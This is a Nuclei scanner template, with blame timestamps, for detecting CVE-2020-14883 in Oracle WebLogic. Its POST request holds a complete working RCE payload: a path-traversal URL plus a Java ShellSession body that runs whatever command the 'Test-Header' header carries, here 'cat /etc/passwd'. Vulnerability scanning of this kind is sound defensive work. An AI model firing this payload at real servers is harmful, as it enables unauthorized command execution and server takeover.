nuclei-templates/cves/2020/CVE-2020-14883.yaml

37 lines
2.3 KiB
YAML
Raw Normal View History

2021-03-21 08:03:59 +00:00
id: CVE-2020-14883
info:
name: Oracle WebLogic Server Administration Console Handle RCE
author: pdteam
severity: high
description: Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
2021-03-21 08:03:59 +00:00
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
2021-03-21 14:45:40 +00:00
tags: cve,cve2020,oracle,rce,weblogic
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.20
cve-id: CVE-2020-14883
2021-03-21 08:03:59 +00:00
requests:
- method: POST
path:
- "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal"
headers:
2021-03-21 10:09:34 +00:00
Content-Type: application/x-www-form-urlencoded
Test-Header: cat /etc/passwd
2021-03-21 08:03:59 +00:00
body: |
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("Test-Header");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
2021-03-21 08:03:59 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-03-21 08:03:59 +00:00
condition: and
- type: status
status:
- 200